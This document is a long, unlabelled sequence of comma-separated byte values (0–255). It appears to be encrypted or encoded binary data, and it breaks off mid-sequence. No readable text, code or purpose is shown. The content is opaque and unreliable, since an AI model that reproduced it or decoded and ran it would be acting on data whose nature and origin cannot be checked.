114, 247, 96, 185, 33, 84, 134, 18, 223, 223, 64, 168, 195, 35, 190, 44, 170, 202, 230, 232, 50, 198, 133, 176, 146, 148, 44, 44, 198, 216, 254, 175, 148, 94, 20, 208, 101, 15, 57, 150, 107, 129, 178, 135, 3, 240, 227, 244, 67, 30, 128, 176, 167, 82, 112, 23, 81, 191, 144, 196, 136, 205, 242, 205, 214, 30, 105, 166, 56, 35, 118, 70, 110, 154, 8, 178, 131, 141, 192, 125, 15, 212, 175, 184, 219, 253, 149, 21, 228, 142, 150, 153, 35, 152, 173, 4, 32, 49, 89, 34, 2, 168, 39, 9, 155, 236, 49, 127, 133, 2, 233, 141, 98, 157, 106, 151, 111, 72, 207, 173, 132, 126, 29, 205, 251, 114, 107, 19, 146, 141, 142, 68, 142, 176, 93, 59, 69, 212, 212, 233, 200, 8, 187, 16, 121, 76, 49, 20, 98, 7, 123, 73, 110, 42, 230, 53, 194, 80, 52, 146, 254, 38, 178, 130, 81, 63, 209, 21, 192, 185, 124, 11, 238, 251, 88, 206, 193, 9, 191, 236, 243, 141, 28, 30, 160, 13, 92, 138, 151, 37, 120, 170, 215, 237, 42, 89, 30, 22, 64, 218, 133, 70, 133, 184, 20, 146, 216, 243, 75, 104, 204, 197, 240, 229, 38, 35, 105, 34, 86, 171, 149, 163, 92, 138, 70, 234, 214, 244, 83, 8, 233, 52, 86, 114, 135, 34, 72, 13, 89, 86, 155, 44, 44, 48, 144, 209, 197, 192, 104, 28, 252, 213, 223, 14, 162, 251, 48, 186, 174, 180, 150, 14, 239, 155, 12, 28, 149, 248, 203, 73, 118, 21, 21, 21, 204, 192, 244, 8, 82, 44, 169, 104, 71, 235, 94, 103, 137, 169, 111, 24, 157, 221, 248, 168, 210, 27, 187, 190, 215, 105, 155, 189, 210, 118, 103, 81, 5, 19, 98, 24, 157, 247, 203, 94, 143, 138, 246, 250, 177, 128, 40, 101, 82, 165, 73, 143, 16, 13, 208, 51, 101, 83, 141, 209, 230, 123, 227, 198, 219, 244, 142, 172, 147, 126, 20, 77, 3, 43, 42, 37, 51, 146, 112, 238, 108, 168, 46, 86, 134, 18, 217, 218, 95, 164, 210, 33, 180, 44, 170, 206, 231, 232, 50, 197, 130, 172, 158, 133, 45, 43, 216, 212, 239, 166, 146, 68, 24, 198, 98, 18, 44, 141, 123, 156, 165, 137, 24, 252, 242, 241, 69, 30, 128, 176, 165, 91, 112, 23, 82, 185, 157, 196, 136, 203, 243, 210, 218, 12, 104, 163, 45, 47, 99, 65, 118, 142, 21, 166, 134, 147, 210, 96, 29, 208, 177, 180, 202, 253, 148, 10, 232, 151, 148, 133, 50, 134, 191, 2, 60, 37, 64, 46, 19, 166, 32, 9, 155, 236, 58, 125, 133, 2, 238, 134, 127, 145, 123, 154, 109, 72, 207, 173, 131, 114, 29, 205, 254, 117, 113, 31, 131, 133, 151, 72, 155, 168, 68, 47, 83, 202, 197, 240, 209, 21, 170, 13, 107, 68, 47, 24, 112, 0, 101, 90, 113, 56, 251, 34, 203, 69, 45, 143, 239, 33, 166, 142, 64, 53, 220, 21, 192, 188, 113, 17, 226, 234, 91, 207, 223, 5, 174, 236, 246, 141, 28, 30, 164, 14, 92, 138, 151, 44, 114, 170, 215, 238, 44, 81, 30, 22, 71, 222, 133, 70, 136, 191, 20, 146, 208, 243, 82, 100, 221, 216, 231, 230, 58, 52, 119, 54, 86, 180, 131, 189, 72, 138, 70, 234, 214, 243, 81, 8, 233, 49, 85, 107, 139, 51, 77, 7, 89, 86, 155, 45, 41, 48, 144, 212, 192, 220, 100, 13, 249, 200, 211, 24, 161, 227, 36, 164, 190, 190, 141, 2, 254, 159, 1, 28, 149, 248, 202, 84, 122, 7, 17, 19, 216, 204, 229, 15, 88, 52, 165, 121, 76, 239, 94, 103, 143, 170, 112, 20, 140, 220, 237, 176, 204, 9, 182, 162, 219, 120, 159, 188, 210, 118, 103, 93, 2, 19, 98, 30, 155, 233, 199, 79, 137, 142, 227, 246, 167, 134, 55, 105, 67, 161, 70, 149, 28, 20, 214, 38, 105, 65, 141, 213, 230, 123, 231, 198, 193, 248, 156, 174, 146, 96, 24, 92, 6, 54, 38, 55, 49, 144, 111, 226, 125, 173, 40, 73, 138, 0, 219, 221, 95, 164, 209, 32, 180, 44, 170, 201, 229, 232, 50, 198, 128, 174, 158, 133, 46, 47, 218, 212, 239, 164, 150, 94, 20, 213, 97, 15, 57, 144, 110, 158, 190, 144, 5, 238, 243, 239, 80, 3, 153, 180, 188, 66, 110, 7, 82, 160, 137, 217, 157, 203, 235, 193, 199, 20, 118, 176, 38, 51, 117, 95, 98, 130, 8, 170, 151, 144, 217, 121, 17, 195, 177, 170, 222, 227, 128, 8, 243, 129, 138, 149, 49, 152, 174, 28, 44, 32, 94, 55, 14, 191, 35, 17, 143, 241, 41, 122, 157, 21, 244, 159, 98, 131, 114, 131, 121, 81, 221, 176, 148, 124, 6, 193, 236, 113, 126, 31, 131, 133, 147, 72, 155, 174, 78, 52, 95, 216, 193, 232, 221, 4, 169, 24, 103, 92, 44, 4, 105, 29, 119, 91, 108, 40, 230, 53, 198, 95, 33, 158, 239, 44, 166, 142, 67, 53, 201, 25, 210, 185, 120, 17, 226, 227, 95, 209, 211, 23, 172, 239, 234, 129, 9, 27, 189, 27, 66, 159, 147, 56, 96, 181, 195, 240, 63, 88, 6, 6, 90, 205, 152, 80, 135, 160, 24, 131, 215, 247, 75, 104, 204, 218, 228, 251, 54, 38, 117, 59, 72, 184, 144, 184, 80, 153, 88, 248, 209, 234, 64, 21, 248, 50, 76, 126, 159, 39, 85, 31, 68, 69, 154, 57, 57, 44, 156, 192, 192, 195, 117, 16, 236, 203, 203, 9, 188, 247, 38, 185, 178, 172, 136, 28, 234, 128, 20, 6, 129, 229, 220, 84, 122, 7, 22, 21, 204, 192, 242, 7, 70, 32, 189, 111, 82, 252, 67, 119, 139, 180, 99, 10, 152, 222, 248, 168, 209, 26, 181, 190, 215, 105, 154, 161, 222, 103, 101, 83, 28, 31, 113, 3, 141, 236, 222, 67, 152, 142, 237, 246, 167, 128, 51, 112, 79, 176, 79, 151, 28, 20, 213, 46, 105, 65, 137, 216, 249, 119, 246, 192, 193, 229, 144, 188, 146, 106, 24, 92, 0, 47, 55, 41, 33, 144, 118, 243, 96, 185, 44, 73, 138, 3, 222, 219, 95, 164, 210, 39, 181, 44, 170, 200, 225, 232, 50, 197, 128, 164, 158, 133, 45, 44, 198, 216, 254, 160, 151, 94, 20, 215, 101, 17, 53, 129, 106, 158, 190, 144, 5, 233, 245, 239, 80, 3, 146, 183, 188, 66, 109, 7, 87, 160, 137, 218, 154, 203, 235, 193, 196, 31, 109, 188, 52, 50, 119, 67, 110, 154, 8, 183, 142, 141, 192, 117, 5, 207, 163, 169, 217, 254, 140, 25, 252, 131, 138, 149, 59, 134, 191, 2, 61, 41, 64, 46, 19, 167, 33, 9, 155, 229, 60, 103, 137, 19, 237, 137, 127, 145, 120, 157, 111, 72, 207, 165, 129, 103, 17, 223, 253, 119, 107, 19, 146, 137, 145, 72, 155, 169, 75, 47, 83, 201, 192, 240, 209, 22, 168, 22, 103, 92, 47, 2, 124, 17, 102, 95, 111, 52, 234, 36, 193, 80, 33, 158, 235, 33, 166, 142, 64, 54, 213, 21, 192, 184, 124, 17, 226, 232, 92, 209, 211, 22, 168, 245, 230, 144, 8, 22, 189, 27, 67, 154, 138, 52, 121, 181, 219, 252, 46, 93, 6, 26, 86, 217, 144, 74, 145, 189, 0, 131, 205, 227, 86, 127, 205, 197, 240, 230, 33, 33, 105, 34, 81, 173, 143, 175, 78, 136, 82, 230, 199, 254, 88, 8, 233, 50, 82, 108, 139, 51, 72, 8, 89, 86, 152, 39, 45, 48, 144, 214, 197, 220, 100, 14, 255, 200, 211, 24, 168, 225, 60, 168, 168, 181, 150, 14, 239, 128, 20, 2, 133, 255, 208, 69, 101, 22, 12, 4, 215, 215, 233, 30, 90, 44, 169, 104, 74, 237, 94, 103, 143, 175, 111, 24, 158, 221, 230, 164, 192, 24, 178, 190, 215, 109, 158, 161, 222, 100, 98, 84, 28, 31, 112, 26, 158, 247, 203, 88, 138, 145, 250, 235, 179, 129, 40, 101, 82, 163, 71, 143, 16, 5, 215, 40, 105, 65, 137, 210, 255, 119, 246, 194, 198, 248, 156, 174, 147, 103, 24, 92, 6, 54, 38, 60, 57, 142, 99, 246, 126, 181, 56, 83, 152, 30, 206, 220, 71, 177, 207, 52, 187, 48, 166, 219, 227, 246, 36, 219, 145, 164, 158, 133, 46, 43, 216, 212, 239, 166, 146, 69, 24, 198, 98, 23, 47, 141, 123, 152, 165, 156, 20, 232, 240, 239, 80, 11, 140, 161, 162, 86, 105, 27, 64, 189, 153, 220, 132, 218, 245, 211, 198, 0, 122, 161, 38, 50, 111, 83, 115, 138, 21, 166, 133, 147, 217, 96, 29, 210, 187, 173, 198, 239, 149, 15, 232, 151, 151, 134, 51, 134, 191, 1, 60, 37, 64, 46, 19, 167, 61, 5, 138, 236, 57, 103, 137, 16, 234, 140, 127, 145, 123, 153, 109, 72, 207, 173, 129, 123, 29, 205, 254, 124, 107, 19, 155, 138, 142, 68, 130, 173, 81, 35, 66, 193, 195, 240, 209, 18, 170, 13, 107, 78, 41, 3, 124, 17, 102, 95, 100, 52, 234, 36, 203, 95, 33, 158, 239, 37, 188, 130, 81, 53, 212, 13, 204, 171, 121, 12, 241, 247, 73, 207, 192, 16, 179, 249, 247, 152, 10, 3, 177, 9, 65, 147, 138, 52, 113, 190, 192, 240, 63, 88, 3, 26, 86, 218, 144, 74, 145, 184, 1, 158, 193, 250, 95, 100, 221, 216, 225, 227, 58, 52, 116, 58, 93, 180, 131, 190, 73, 138, 70, 234, 212, 241, 76, 4, 248, 49, 84, 114, 135, 36, 77, 19, 85, 68, 155, 35, 53, 60, 129, 217, 198, 220, 100, 13, 250, 193, 211, 24, 164, 231, 60, 168, 172, 189, 139, 2, 254, 158, 0, 2, 153, 233, 196, 82, 122, 7, 17, 29, 213, 204, 229, 15, 95, 53, 165, 121, 79, 236, 70, 107, 157, 170, 114, 20, 140, 220, 226, 189, 204, 9, 179, 170, 193, 116, 138, 188, 207, 96, 122, 69, 1, 7, 123, 3, 141, 227, 222, 67, 152, 140, 236, 233, 171, 145, 61, 117, 79, 176, 79, 145, 8, 24, 192, 40, 118, 77, 152, 211, 255, 105, 250, 209, 192, 225, 144, 188, 145, 103, 24, 92, 3, 35, 52, 41, 33, 147, 115, 247, 96, 185, 42, 84, 156, 30, 206, 223, 66, 176, 207, 52, 189, 56, 184, 215, 241, 246, 38, 199, 157, 188, 128, 145, 46, 54, 202, 193, 252, 187, 133, 68, 6, 202, 112, 18, 32, 148, 119, 141, 171, 128, 24, 252, 244, 251, 92, 18, 146, 185, 188, 66, 109, 4, 84, 160, 137, 217, 154, 204, 235, 193, 196, 21, 118, 176, 38, 50, 112, 95, 98, 139, 10, 190, 155, 129, 210, 121, 12, 207, 163, 170, 222, 227, 128, 8, 243, 135, 138, 149, 50, 153, 174, 28, 44, 32, 89, 56, 14, 191, 32, 29, 137, 241, 41, 121, 153, 26, 244, 159, 102, 136, 102, 143, 104, 80, 215, 176, 148, 125, 6, 193, 236, 116, 127, 6, 143, 157, 147, 93, 131, 176, 93, 54, 74, 212, 212, 238, 195, 22, 183, 1, 121, 76, 44, 24, 112, 3, 100, 69, 125, 41, 251, 36, 223, 73, 60, 141, 239, 57, 170, 159, 66, 49, 201, 25, 216, 184, 100, 29, 240, 238, 93, 209, 211, 20, 167, 238, 234, 129, 13, 22, 160, 23, 80, 152, 147, 32, 108, 166, 198, 234, 40, 69, 18, 1, 79, 193, 137, 84, 128, 180, 20, 146, 216, 246, 75, 104, 207, 219, 233, 251, 54, 38, 112, 48, 72, 184, 151, 190, 80, 153, 91, 251, 223, 234, 64, 19, 253, 47, 64, 107, 147, 63, 89, 14, 77, 71, 134, 53, 43, 47, 129, 204, 209, 194, 116, 16, 236, 200, 203, 13, 188, 247, 33, 191, 171, 160, 154, 24, 235, 128, 20, 2, 132, 251, 208, 69, 100, 23, 18, 8, 192, 209, 233, 30, 95, 49, 165, 121, 79, 235, 64, 107, 157, 170, 115, 0, 128, 205, 229, 190, 208, 5, 162, 163, 193, 105, 134, 173, 200, 98, 122, 69, 2, 12, 115, 3, 141, 234, 216, 94, 148, 157, 235, 226, 178, 157, 36, 118, 82, 188, 94, 146, 1, 6, 204, 63, 125, 85, 148, 193, 251, 110, 224, 221, 215, 226, 132, 176, 131, 99, 13, 69, 30, 58, 62, 60, 45, 130, 114, 242, 122, 181, 56, 86, 155, 30, 206, 223, 75, 177, 207, 52, 189, 55, 178, 215, 241, 246, 35, 192, 157, 188, 131, 144, 42, 54, 202, 202, 252, 167, 137, 82, 1, 212, 124, 3, 40, 153, 99, 129, 178, 129, 13, 229, 239, 227, 70, 4, 140, 161, 162, 81, 112, 23, 82, 184, 154, 196, 136, 203, 241, 209, 218, 12, 107, 169, 45, 47, 99, 65, 115, 140, 21, 166, 131, 149, 204, 108, 15, 209, 180, 180, 202, 247, 145, 21, 228, 133, 151, 130, 47, 138, 170, 28, 44, 37, 91, 34, 2, 168, 34, 9, 155, 236, 56, 125, 133, 2, 233, 136, 96, 157, 106, 158, 106, 92, 195, 188, 134, 122, 5, 193, 236, 116, 119, 0, 143, 157, 144, 82, 151, 188, 76, 59, 64, 212, 212, 229, 200, 8, 187, 18, 115, 80, 61, 6, 97, 7, 123, 73, 108, 32, 243, 57, 211, 80, 53, 146, 254, 36, 186, 153, 93, 39, 212, 15, 208, 167, 104, 15, 246, 247, 73, 203, 199, 9, 191, 235, 246, 152, 16, 15, 160, 13, 67, 134, 134, 38, 113, 177, 219, 252, 46, 93, 0, 26, 86, 220, 145, 95, 157, 172, 9, 128, 213, 239, 71, 122, 200, 217, 252, 247, 36, 32, 117, 46, 68, 169, 150, 185, 80, 153, 88, 248, 214, 234, 64, 22, 248, 53, 76, 126, 149, 35, 85, 31, 68, 70, 153, 57, 57, 45, 136, 216, 221, 208, 117, 11, 245, 213, 223, 10, 166, 251, 48, 186, 171, 184, 150, 14, 231, 149, 24, 16, 135, 253, 203, 73, 118, 21, 18, 29, 204, 192, 241, 11, 70, 32, 184, 106, 73, 240, 82, 118, 138, 172, 111, 24, 158, 216, 230, 164, 192, 27, 178, 161, 219, 120, 155, 185, 210, 118, 111, 85, 28, 31, 115, 27, 152, 247, 203, 94, 143, 137, 246, 250, 181, 129, 60, 105, 67, 169, 70, 143, 16, 5, 212, 43, 105, 65, 137, 215, 248, 119, 246, 194, 192, 248, 156, 173, 148, 98, 24, 92, 0, 46, 48, 41, 33, 147, 123, 250, 96, 185, 41, 82, 146, 30, 206, 223, 67, 177, 207, 52, 184, 44, 170, 201, 224, 253, 62, 215, 128, 165, 133, 137, 63, 40, 210, 212, 239, 166, 145, 71, 24, 198, 98, 16, 41, 141, 123, 148, 165, 156, 20, 237, 240, 243, 92, 18, 145, 182, 169, 78, 124, 5, 82, 184, 133, 200, 153, 205, 245, 205, 214, 31, 106, 188, 52, 49, 122, 95, 98, 131, 12, 170, 151, 147, 212, 125, 17, 195, 178, 172, 217, 227, 128, 11, 245, 132, 138, 149, 54, 154, 179, 16, 53, 32, 64, 46, 27, 175, 61, 5, 138, 233, 59, 103, 137, 16, 238, 147, 115, 134, 102, 143, 106, 80, 195, 188, 133, 126, 1, 193, 236, 116, 112, 5, 143, 157, 154, 84, 151, 188, 76, 59, 75, 212, 212, 237, 193, 20, 183, 1, 122, 78, 37, 24, 112, 3, 100, 80, 113, 56, 248, 38, 202, 69, 45, 134, 230, 57, 170, 150, 65, 43, 197, 8, 215, 167, 104, 12, 245, 237, 69, 221, 194, 18, 170, 245, 230, 144, 8, 31, 189, 27, 65, 146, 148, 56, 96, 183, 198, 235, 51, 73, 1, 2, 90, 205, 152, 94, 131, 160, 24, 128, 213, 239, 71, 121, 196, 218, 252, 247, 39, 32, 112, 46, 68, 169, 151, 189, 80, 153, 82, 251, 203, 230, 81, 19, 249, 47, 64, 111, 146, 43, 85, 31, 76, 65, 134, 53, 40, 36, 133, 204, 209, 193, 119, 14, 224, 217, 206, 13, 168, 251, 48, 185, 167, 186, 150, 14, 233, 158, 24, 16, 132, 240, 197, 73, 118, 22, 21, 29, 204, 192, 253, 13, 70, 32, 188, 110, 82, 252, 64, 119, 143, 180, 99, 14, 158, 193, 244, 185, 212, 27, 174, 178, 197, 107, 147, 161, 222, 100, 102, 92, 28, 31, 115, 28, 154, 247, 203, 94, 138, 145, 250, 239, 191, 157, 36, 114, 90, 188, 94, 146, 9, 3, 204, 63, 118, 84, 148, 193, 248, 111, 250, 209, 197, 225, 141, 176, 131, 99, 3, 72, 30, 58, 62, 51, 45, 130, 114, 241, 116, 181, 56, 80, 146, 30, 206, 223, 67, 188, 207, 52, 187, 44, 170, 200, 232, 232, 50, 198, 133, 170, 158, 133, 43, 35, 198, 216, 255, 187, 133, 68, 6, 202, 112, 18, 45, 146, 119, 141, 163, 135, 4, 240, 227, 242, 67, 1, 140, 161, 161, 84, 100, 27, 64, 190, 154, 219, 132, 218, 245, 217, 218, 12, 105, 188, 52, 49, 115, 64, 110, 154, 11, 181, 143, 141, 192, 126, 8, 211, 175, 184, 219, 246, 150, 21, 228, 134, 149, 132, 47, 138, 169, 7, 32, 49, 93, 56, 21, 179, 49, 20, 140, 236, 37, 107, 152, 22, 224, 147, 115, 128, 120, 151, 117, 68, 221, 175, 141, 103, 17, 220, 249, 116, 107, 19, 145, 142, 151, 72, 155, 169, 68, 47, 83, 205, 204, 240, 209, 22, 175, 23, 103, 92, 44, 13, 105, 29, 119, 81, 105, 52, 234, 36, 194, 80, 33, 158, 237, 38, 166, 142, 64, 52, 208, 21, 192, 185, 124, 5, 238, 251, 88, 196, 199, 9, 191, 238, 255, 141, 28, 31, 189, 27, 65, 159, 158, 56, 96, 191, 206, 240, 63, 92, 6, 26, 86, 223, 156, 87, 157, 172, 9, 134, 209, 239, 71, 122, 207, 218, 252, 247, 36, 39, 115, 46, 68, 169, 151, 191, 80, 153, 95, 251, 203, 230, 82, 16, 249, 47, 64, 108, 151, 33, 85, 31, 68, 64, 153, 57, 57, 46, 128, 210, 221, 208, 118, 15, 255, 213, 223, 1, 160, 251, 48, 185, 170, 180, 150, 14, 230, 159, 24, 16, 132, 248, 200, 73, 118, 22, 21, 28, 204, 192, 244, 15, 93, 44, 169, 106, 71, 240, 82, 114, 133, 180, 99, 1, 157, 193, 244, 185, 212, 17, 174, 178, 197, 108, 155, 161, 222, 100, 103, 93, 28, 31, 115, 26, 158, 247, 203, 93, 139, 142, 246, 250, 182, 133, 52, 105, 67, 161, 79, 147, 28, 20, 209, 43, 117, 77, 152, 212, 243, 119, 246, 201, 196, 248, 156, 169, 151, 126, 20, 77, 6, 45, 42, 37, 48, 154, 123, 238, 108, 168, 40, 93, 134, 18, 217, 217, 95, 164, 210, 32, 190, 44, 170, 201, 228, 247, 62, 215, 131, 175, 131, 137, 63, 47, 221, 212, 239, 165, 150, 68, 24, 198, 98, 18, 41, 141, 123, 156, 161, 134, 24, 252, 250, 245, 92, 18, 146, 177, 163, 78, 124, 6, 84, 181, 133, 200, 158, 202, 235, 193, 192, 25, 118, 176, 37, 53, 117, 95, 98, 136, 10, 176, 155, 129, 215, 121, 17, 195, 186, 180, 202, 253, 145, 1, 232, 151, 146, 129, 47, 138, 174, 5, 53, 61, 76, 58, 16, 179, 49, 23, 138, 237, 37, 107, 156, 16, 244, 159, 97, 128, 121, 131, 121, 85, 214, 173, 152, 107, 5, 220, 224, 101, 113, 3, 143, 157, 149, 85, 151, 188, 68, 51, 95, 216, 197, 233, 200, 8, 187, 16, 114, 69, 49, 20, 98, 1, 110, 69, 125, 41, 250, 34, 223, 73, 63, 140, 231, 57, 170, 157, 69, 43, 197, 11, 212, 188, 100, 29, 243, 236, 89, 209, 211, 20, 170, 237, 234, 129, 13, 30, 189, 27, 73, 153, 138, 52, 113, 181, 199, 240, 63, 88, 6, 7, 90, 205, 155, 86, 135, 160, 24, 128, 210, 245, 75, 104, 204, 221, 228, 251, 54, 37, 115, 50, 72, 184, 145, 186, 76, 149, 74, 251, 210, 247, 76, 4, 248, 55, 86, 114, 135, 34, 72, 10, 89, 86, 156, 44, 53, 60, 133, 204, 209, 199, 112, 16, 236, 207, 211, 24, 163, 230, 60, 168, 166, 185, 150, 14, 236, 159, 1, 28, 149, 248, 205, 81, 122, 7, 17, 17, 215, 204, 229, 15, 88, 55, 165, 121, 76, 232, 75, 107, 157, 169, 116, 11, 128, 205, 230, 184, 212, 5, 162, 163, 196, 110, 134, 173, 204, 103, 99, 73, 16, 14, 119, 22, 129, 251, 218, 93, 140, 145, 250, 235, 176, 157, 36, 116, 83, 164, 82, 131, 5, 5, 204, 63, 116, 84, 143, 205, 234, 105, 226, 198, 219, 244, 141, 165, 155, 126, 20, 77, 2, 40, 42, 37, 48, 148, 123, 238, 108, 174, 47, 73, 138, 3, 222, 216, 95, 164, 210, 36, 186, 44, 170, 207, 233, 232, 50, 197, 132, 174, 158, 133, 45, 42, 210, 212, 239, 166, 146, 67, 24, 198, 97, 16, 45, 141, 123, 156, 161, 131, 24, 252, 245, 240, 92, 18, 145, 185, 164, 78, 124, 6, 89, 189, 133, 200, 154, 206, 255, 205, 214, 29, 106, 188, 52, 55, 119, 95, 98, 131, 11, 170, 151, 148, 215, 96, 29, 212, 180, 180, 202, 253, 144, 8, 232, 151, 148, 134, 49, 134, 191, 1, 52, 35, 64, 46, 16, 174, 39, 9, 155, 236, 62, 121, 133, 2, 234, 139, 99, 157, 106, 158, 96, 81, 195, 188, 133, 123, 8, 193, 236, 119, 117, 10, 143, 157, 144, 80, 143, 176, 93, 50, 74, 200, 216, 252, 192, 29, 174, 13, 107, 77, 44, 6, 124, 17, 97, 80, 113, 56, 251, 35, 199, 69, 45, 135, 232, 57, 170, 151, 93, 39, 212, 12, 204, 171, 121, 8, 245, 247, 73, 204, 202, 21, 179, 249, 244, 148, 16, 15, 163, 9, 68, 134, 134, 39, 117, 170, 215, 228, 47, 69, 18, 4, 69, 213, 133, 70, 131, 184, 0, 158, 193, 241, 85, 112, 209, 201, 226, 227, 34, 56, 101, 59, 84, 180, 131, 189, 78, 140, 70, 234, 213, 242, 80, 8, 233, 59, 84, 114, 135, 33, 72, 10, 89, 86, 155, 35, 53, 60, 132, 208, 221, 208, 117, 5, 248, 213, 223, 9, 169, 224, 60, 168, 175, 184, 142, 2, 254, 158, 4, 28, 149, 254, 204, 73, 118, 22, 21, 20, 204, 192, 240, 10, 70, 32, 187, 109, 74, 240, 82, 118, 142, 180, 99, 12, 156, 193, 244, 185, 210, 29, 174, 178, 197, 106, 156, 161, 222, 110, 103, 73, 16, 9, 116, 3, 141, 234, 216, 91, 148, 157, 232, 234, 180, 157, 36, 114, 79, 176, 73, 146, 28, 20, 209, 51, 101, 84, 140, 205, 234, 106, 225, 198, 219, 244, 141, 171, 150, 126, 20, 77, 2, 46, 42, 37, 48, 154, 111, 226, 126, 172, 52, 69, 155, 1, 220, 194, 83, 179, 219, 56, 172, 53, 188, 215, 241, 245, 35, 196, 157, 188, 128, 145, 40, 54, 202, 202, 254, 174, 137, 82, 5, 222, 100, 15, 57, 148, 105, 129, 178, 131, 0, 240, 227, 240, 69, 30, 128, 176, 163, 85, 112, 23, 81, 187, 155, 196, 136, 206, 243, 205, 214, 28, 118, 176, 35, 55, 111, 83, 117, 143, 21, 166, 134, 145, 212, 96, 29, 210, 182, 175, 198, 239, 146, 10, 240, 155, 134, 135, 50, 153, 179, 16, 52, 35, 64, 46, 23, 174, 61, 5, 137, 233, 63, 103, 137, 19, 224, 143, 127, 145, 123, 152, 117, 68, 215, 168, 152, 107, 8, 220, 224, 101, 118, 1, 155, 145, 130, 85, 131, 176, 93, 52, 68, 212, 212, 237, 195, 22, 183, 1, 121, 79, 46, 24, 112, 3, 100, 89, 113, 56, 251, 37, 193, 69, 45, 135, 239, 57, 170, 159, 71, 43, 197, 15, 217, 167, 104, 12, 242, 239, 69, 221, 196, 9, 191, 225, 243, 141, 28, 30, 163, 10, 92, 138, 148, 37, 116, 170, 215, 237, 39, 93, 30, 22, 65, 193, 137, 81, 131, 160, 24, 131, 210, 245, 75, 104, 204, 217, 224, 251, 54, 37, 124, 55, 72, 184, 145, 188, 77, 149, 74, 255, 222, 234, 64, 22, 248, 59, 76, 126, 150, 36, 73, 19, 85, 68, 159, 38, 53, 60, 129, 212, 201, 220, 100, 13, 251, 206, 211, 24, 162, 228, 39, 164, 190, 190, 139, 24, 242, 140, 5, 0, 141, 229, 220, 87, 101, 31, 12, 4, 216, 217, 233, 30, 88, 52, 189, 117, 94, 234, 74, 107, 157, 170, 115, 8, 128, 205, 230, 185, 209, 5, 162, 163, 207, 110, 134, 173, 207, 110, 99, 73, 16, 14, 118, 23, 129, 251, 218, 91, 141, 145, 250, 238, 183, 157, 36, 119, 87, 161, 82, 131, 2, 7, 216, 51, 101, 80, 138, 211, 230, 123, 231, 194, 193, 248, 156, 173, 155, 126, 20, 78, 4, 54, 38, 52, 53, 149, 111, 226, 125, 172, 47, 73, 138, 3, 223, 219, 95, 164, 210, 39, 186, 44, 170, 201, 228, 240, 62, 215, 135, 165, 158, 133, 46, 47, 221, 212, 239, 166, 150, 68, 24, 198, 104, 21, 53, 129, 99, 129, 178, 137, 1, 240, 227, 242, 70, 6, 140, 161, 168, 82, 112, 23, 81, 185, 157, 196, 136, 203, 247, 210, 218, 12, 104, 164, 39, 47, 99, 66, 119, 139, 21, 166, 142, 153, 204, 108, 15, 215, 181, 180, 202, 254, 148, 1, 232, 151, 145, 132, 47, 138, 174, 2, 60, 61, 76, 54, 26, 179, 49, 28, 138, 241, 41, 122, 156, 20, 244, 159, 101, 137, 102, 143, 110, 83, 195, 188, 131, 125, 29, 205, 253, 113, 118, 31, 131, 140, 147, 92, 151, 188, 68, 53, 95, 216, 198, 236, 200, 8, 187, 16, 123, 75, 49, 20, 98, 3, 96, 69, 125, 41, 251, 57, 211, 93, 53, 146, 254, 32, 178, 130, 81, 54, 215, 15, 204, 171, 122, 12, 247, 247, 73, 204, 196, 17, 179, 249, 247, 151, 12, 3, 177, 10, 65, 156, 138, 52, 117, 181, 219, 252, 44, 90, 30, 22, 71, 217, 153, 74, 145, 189, 8, 129, 205, 227, 86, 125, 207, 197, 240, 230, 35, 33, 105, 34, 85, 170, 144, 163, 92, 136, 91, 254, 203, 230, 83, 8, 233, 53, 89, 114, 135, 34, 65, 8, 89, 86, 152, 37, 53, 60, 129, 217, 197, 220, 100, 13, 254, 202, 211, 24, 169, 238, 60, 168, 170, 181, 150, 14, 239, 157, 0, 28, 149, 248, 203, 86, 122, 7, 18, 20, 214, 204, 229, 15, 94, 57, 165, 121, 75, 229, 94, 103, 143, 169, 122, 20, 140, 223, 229, 164, 192, 27, 182, 163, 219, 120, 152, 191, 201, 122, 118, 81, 28, 31, 117, 29, 129, 251, 211, 88, 148, 157, 235, 233, 190, 157, 36, 124, 84, 188, 94, 145, 0, 2, 204, 63, 116, 82, 139, 205, 234, 106, 224, 195, 219, 244, 139, 176, 131, 96, 0, 73, 30, 58, 52, 55, 52, 142, 99, 240, 125, 172, 52, 69, 155, 11, 219, 194, 83, 178, 208, 56, 172, 56, 187, 215, 241, 245, 37, 195, 157, 188, 131, 149, 42, 54, 202, 201, 247, 161, 137, 82, 1, 210, 124, 3, 43, 149, 108, 129, 178, 129, 12, 236, 239, 227, 69, 3, 140, 161, 162, 81, 109, 27, 64, 190, 153, 208, 132, 218, 246, 217, 196, 0, 122, 161, 32, 47, 99, 71, 115, 150, 25, 183, 128, 150, 204, 108, 12, 215, 180, 180, 202, 254, 152, 13, 232, 151, 151, 129, 53, 134, 191, 1, 53, 36, 64, 46, 26, 166, 61, 5, 136, 229, 37, 107, 152, 26, 244, 159, 103, 128, 102, 143, 104, 85, 221, 176, 148, 122, 8, 221, 224, 101, 118, 1, 144, 145, 130, 85, 142, 169, 81, 35, 66, 202, 199, 240, 209, 23, 163, 13, 107, 77, 44, 0, 124, 17, 102, 80, 100, 52, 234, 33, 203, 69, 45, 141, 238, 57, 170, 153, 66, 43, 197, 11, 208, 187, 100, 29, 246, 237, 69, 221, 198, 17, 179, 249, 244, 144, 8, 3, 177, 9, 68, 158, 138, 52, 116, 183, 219, 252, 46, 88, 1, 26, 86, 223, 154, 83, 157, 172, 10, 128, 215, 239, 71, 122, 196, 197, 240, 230, 35, 32, 105, 34, 80, 174, 143, 175, 77, 140, 82, 230, 199, 243, 89, 8, 233, 55, 82, 114, 135, 32, 65, 19, 85, 65, 155, 57, 57, 41, 137, 204, 209, 193, 114, 8, 224, 217, 201, 14, 188, 247, 32, 164, 190, 189, 137, 29, 242, 140, 5, 2, 133, 229, 220, 84, 101, 17, 12, 4, 214, 209, 233, 30, 93, 54, 165, 121, 76, 239, 67, 107, 157, 169, 119, 14, 128, 205, 229, 187, 209, 5, 162, 163, 207, 105, 134, 173, 204, 98, 97, 73, 16, 14, 118, 28, 129, 251, 223, 89, 148, 157, 232, 238, 191, 157, 36, 119, 83, 167, 82, 131, 4, 12, 204, 63, 112, 83, 148, 193, 248, 110, 226, 221, 215, 229, 136, 174, 143, 114, 5, 78, 6, 54, 38, 54, 53, 142, 99, 243, 121, 181, 56, 87, 155, 0, 194, 206, 66, 179, 207, 52, 190, 50, 186, 215, 241, 246, 32, 207, 157, 188, 131, 148, 43, 54, 202, 193, 251, 187, 133, 69, 5, 202, 112, 18, 41, 149, 119, 141, 170, 135, 24, 252, 242, 250, 64, 30, 128, 176, 169, 91, 112, 23, 81, 188, 153, 196, 136, 203, 244, 209, 218, 12, 109, 163, 56, 35, 113, 71, 